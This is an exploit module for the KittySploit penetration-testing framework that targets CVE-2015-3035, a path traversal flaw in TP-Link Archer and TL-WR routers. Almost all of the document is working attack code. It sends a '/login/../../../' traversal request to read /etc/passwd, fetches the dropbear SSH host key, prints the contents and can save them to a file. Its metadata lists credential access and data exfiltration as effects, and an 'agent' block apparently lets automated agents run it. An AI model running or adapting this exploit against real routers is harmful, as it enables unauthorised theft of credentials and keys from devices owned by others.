TP-Link Router LFI (CVE-2015-3035)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TP-Link Archer local file inclusion (CVE-2015-3035)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TP-Link Router LFI (CVE-2015-3035)',
        'description': (
            'Exploits CVE-2015-3035 in TP-Link Archer/TL-WR routers: path traversal via '
            '/login/../../../ reads arbitrary local files including password stores.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-3035'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-3035'],
        'tags': ['tplink', 'tp-link', 'router', 'lfi', 'kev', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2015_3035_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _path(self, remote: str) -> str:
        depth = '../' * 8
        target = remote.lstrip('/')
        return f'/login/{depth}{target}'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:[x*]:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'TP-Link traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'TP-Link LFI failed', 'confidence': 'medium'}

    def run(self):
        body = ''
        for target in (
            str(self.file_path or '/etc/passwd'),
            'tmp/dropbear/dropbear_rsa_host_key',
        ):
            body = self.execute(target)
            if body:
                print_success(f'{target} — {len(body)} bytes')
                print_status(body[:3000])
        out = str(self.output_file or '').strip()
        if out and body:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
        return bool(body)